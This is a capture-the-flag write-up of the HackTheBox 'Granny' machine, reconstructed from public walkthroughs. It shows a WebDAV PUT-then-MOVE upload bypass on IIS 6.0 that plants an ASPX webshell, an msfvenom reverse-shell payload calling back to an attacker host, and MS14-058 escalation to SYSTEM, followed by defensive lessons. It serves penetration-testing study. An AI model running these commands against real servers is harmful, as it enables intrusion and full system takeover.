Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Granny is the IIS 6.0 / WebDAV companion to its sibling box Grandpa: the same
operating system (Windows Server 2003), the same vulnerable IIS, the same
intended foothold path. The chain has two distinct halves. The foothold half
is a misconfiguration trick: WebDAV’s PUT accepts a .txt upload but its
upload filter rejects .aspx; the same WebDAV implementation’s MOVE lets
you rename .txt to .aspx post-upload, which sidesteps the filter
entirely. With an executable file landed in a script-mapped path, the IIS
worker process executes it on next request, and the attacker has command
execution as the IIS app-pool identity (NT AUTHORITY\NETWORK SERVICE on a
2003 default install).
The privilege-escalation half is “service account on Windows 2003 Server”,
which is a famously soft target. Two complementary primitives apply: token
kidnapping (the “Churrasco” technique) abuses Windows 2003’s
SeImpersonatePrivilege, which is granted to all service accounts by
default, to impersonate the SYSTEM token of any process in the same session;
and the kernel-mode MS14-058 (track popup menu, CVE-2014-4113) bug yields
SYSTEM via a more straightforward kernel exploit. Either lands SYSTEM. The
local-exploit-suggester output on a 2003 host typically lists both.
The teaching beat is that uploads filtered by extension can almost always
be defeated by the filter not understanding the vocabulary of the upload
protocol — here, the WebDAV MOVE verb does not pass through the
“only-allow-non-executable-extensions” check that PUT does, because the
filter is implemented in terms of upload, not rename.
Source attribution
Reconstruction is grounded in the following public sources. I have not personally rooted this box; the chain below paraphrases them.
- 0xdf, “HTB: Granny” — https://0xdf.gitlab.io/2019/03/06/htb-granny.html.
Primary source. Walks the WebDAV
PUT-then-MOVEupload bypass, the Metasploitiis_webdav_upload_aspandcmdasp.aspxpaths, the initialNETWORK SERVICEshell, and thelocal_exploit_suggester- MS14-058 escalation to SYSTEM.
- IppSec, “Granny” video walkthrough — https://ippsec.rocks/?#Granny.
Cross-check on the Metasploit invocations and the manual
cadaverWebDAV path. - Microsoft Security Bulletin MS14-058 — kernel-mode track-popup-menu privilege escalation (CVE-2014-4113) used as the SYSTEM step.
- The Churrasco token-kidnapping write-up by Cesar Cerrudo (2008) is
the conceptual prior art for the alternative
SeImpersonate-driven escalation path that also works on this box.
Recon
A quick TCP nmap returns a single open port, tcp/80, with an extensive list of HTTP methods enabled — far more than a normal webserver exposes:
nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Allowed: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT
| http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
The first thing to notice is that this is not a normal web server —
PROPFIND, MKCOL, LOCK, UNLOCK, and the rest are the WebDAV
verb set. WebDAV is bolted onto IIS 6.0 as an optional service; when
it’s enabled, the same TCP port 80 services both regular HTTP and
WebDAV requests. The presence of PUT and MOVE in the allowed
list is the entire foothold.
The IIS 6.0 banner is itself a near-complete fingerprint: it ships with Windows Server 2003 only, and 2003 is well past end-of-life (EOL July 2015). On a 2026 internet that fingerprint should not exist outside lab environments.
davtest is the canonical tool for probing what a WebDAV
deployment will accept:
davtest -url http://<TARGET>/
The output indicates that PUT of .html, .txt, .gif, and a
handful of other extensions succeeds; PUT of .aspx, .asp,
.exe, and similar executable types is rejected by the upload
filter. The interesting and load-bearing fact is that MOVE is not
in the rejection list — only the upload of an executable
extension is filtered, not its rename.
Foothold — WebDAV PUT+MOVE upload bypass
The bug class is “incomplete extension-based filter on a multi-verb
protocol”. The filter implementation forbids uploading a file whose
target extension is in a deny list; it does not validate the
extension after a MOVE operation. So the chain is:
PUT /shell.txtwith the contents of an ASPX webshell. The server treats.txtas static and accepts the upload.MOVE /shell.txt → /shell.aspx. WebDAV honors the rename without re-checking the destination against the upload filter.- Browse to
/shell.aspx. IIS’s ASPX handler is mapped toaspnet_isapi.dll, which compiles and executes the file.
The standard ASPX webshell to use is the one shipping with Kali at
/usr/share/webshells/aspx/cmdasp.aspx. Its body is one HTML form
that posts the command back to itself; the code-behind invokes
Process.Start("cmd.exe", "/c " + cmd) and renders stdout into the
response. It is intentionally minimal; the output is HTML, which
makes it easy to read in a browser but inconvenient for piping
binaries.
The manual exploitation form, using curl:
# upload as .txt
curl -T /usr/share/webshells/aspx/cmdasp.aspx \
http://<TARGET>/shell.txt
# rename to .aspx
curl -X MOVE \
-H 'Destination: http://<TARGET>/shell.aspx' \
http://<TARGET>/shell.txt
# trigger
curl http://<TARGET>/shell.aspx?cmd=whoami
The --data-binary flag (or -T) matters when the payload is
binary — it preserves byte values that --data would URL-encode.
For an ASPX text file it’s not strictly required, but make it a
habit, because the same workflow is later used to upload a real
Meterpreter executable.
The Metasploit module auxiliary/admin/http/iis_webdav_upload_asp
automates the same primitive end-to-end:
use auxiliary/admin/http/iis_webdav_upload_asp
set RHOSTS <TARGET>
set RPORT 80
set PATH /shell.asp
set FILE <local-aspx-payload>
run
The cmdasp.aspx shell from the manual path is sufficient to drop
a real Meterpreter binary by uploading a .txt-then-MOVE-to-.exe
copy of msfvenom’s payload and then invoking it from the webshell:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<ATTACKER> LPORT=4444 -f exe > shell.exe
# upload as .txt then move to .exe
curl -T shell.exe http://<TARGET>/shell.txt
curl -X MOVE -H 'Destination: http://<TARGET>/shell.exe' \
http://<TARGET>/shell.txt
# trigger from cmdasp.aspx
# cmd: c:\inetpub\wwwroot\shell.exe
The Metasploit handler should be running first:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ATTACKER>; set LPORT 4444
exploit -j
Initial shell context
Whichever path you take, the initial Meterpreter session runs as
NT AUTHORITY\NETWORK SERVICE — the IIS 6.0 default app-pool
identity. getuid confirms.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
Network Service is a low-privilege account, but on Windows 2003 it
holds SeImpersonatePrivilege by default. That fact is the entire
basis for the next step.
Privilege escalation — MS14-058 (or token kidnapping)
local_exploit_suggester from a Meterpreter session enumerates
local privilege-escalation candidates and ranks them by
applicability:
meterpreter > background
msf> use post/multi/recon/local_exploit_suggester
msf> set SESSION 1
msf> run
On Windows 2003 the suggester lists multiple viable candidates, including:
exploit/windows/local/ms14_058_track_popup_menu— kernel-mode TYPE confusion inwin32k.sys’s pop-up menu code path. Reliable on 2003. Lands SYSTEM directly.exploit/windows/local/ms15_051_client_copy_image— also kernel mode, slightly different code path. Equally viable.exploit/windows/local/ppr_flatten_rec— token kidnapping viaSeImpersonatePrivilege. Conceptually the “Churrasco” lineage.
Any of them works. The MS14-058 path is the most conventional:
msf> use exploit/windows/local/ms14_058_track_popup_menu
msf> set SESSION 1
msf> set LHOST <ATTACKER>; set LPORT 4445
msf> exploit
A new Meterpreter session lands as NT AUTHORITY\SYSTEM:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Both flags are then trivially readable:
meterpreter > cat "C:\\Documents and Settings\\Lakis\\Desktop\\user.txt"
meterpreter > cat "C:\\Documents and Settings\\Administrator\\Desktop\\root.txt"
Why each step worked
- WebDAV upload filter ignored
MOVE: the filter is extension-based on the upload destination but not on the rename destination. WebDAV’s spec definesPUTandMOVEas separate verbs, and the IIS 6.0 implementation registered the filter only againstPUT. This pattern recurs in modern uploads (think presigned-URL uploads to object storage where the rename hook isn’t validated). cmdasp.aspxran with full ASPX semantics: ASPX is compiled-on-first-request byaspnet_isapi.dll, which has full .NET runtime privileges within the app-pool identity. Once the file is in the wwwroot under a script-mapped extension, IIS doesn’t care how it got there.SeImpersonatePrivilegeon Network Service: Microsoft’s service-account model in Windows 2003 granted impersonation by default to all service accounts, on the assumption that service-to-service token use was a normal pattern. That trust assumption is precisely what token kidnapping abuses — and it is why later Windows versions (2008+) tightened service-account privileges by default.- Kernel-mode SYSTEM via MS14-058: the bug is in the
graphics-stack
xxxMNFindWindowFromPoint/xxxTrackPopupMenuExuser-supplied callback handling. A user-mode caller arranges for a callback to free a structure that the kernel later dereferences; the resulting type confusion gives arbitrary kernel writes, which the public exploit converts to a SYSTEM shell.
Counterfactuals
- Disable WebDAV unless you actually need it. On IIS 6.0 it was a separately-installable service component; in 2007-era best practice docs Microsoft recommended turning it off explicitly.
- If WebDAV must be enabled, configure the upload filter to
validate the destination extension on
MOVE/COPYas well asPUT. Better, write-protect the wwwroot directory at the filesystem level so that the web identity has no write rights at all. - Apply MS14-058 (and every other 2014-and-later patch). On EOL Windows 2003 these patches stopped being shipped in 2015, which is why a 2003 host on the open internet is functionally game-over by default.
- Do not run public-facing services on EOL operating systems.
Key Takeaways
- Multi-verb upload protocols (WebDAV, S3 with copy/object,
FTP with rename) need filters at every verb that can introduce
a file with a new effective extension. A check on
PUTalone is insufficient. SeImpersonatePrivilegeon a Windows host is one of the shortest paths to SYSTEM on legacy Windows; modern equivalents (“Potato” family attacks) keep the lesson alive on newer Windows variants. Always check for it on a fresh shell.local_exploit_suggesteris a fine starting point for out-of-the-box Windows escalations, but on EOL Windows it’s almost always a kernel-mode bug that lands SYSTEM. Knowing which kernel-mode bug applies (MS14-058 for 2003, MS16-032/MS16-135 for 2008/2008R2, etc.) is faster than running the suggester every time.
References
- 0xdf, “HTB: Granny” — https://0xdf.gitlab.io/2019/03/06/htb-granny.html
- IppSec, “Granny” — https://ippsec.rocks/?#Granny
- Microsoft Security Bulletin MS14-058
- Cesar Cerrudo, “Token Kidnapping” (Churrasco PoC, 2008)
- davtest — https://github.com/cldrn/davtest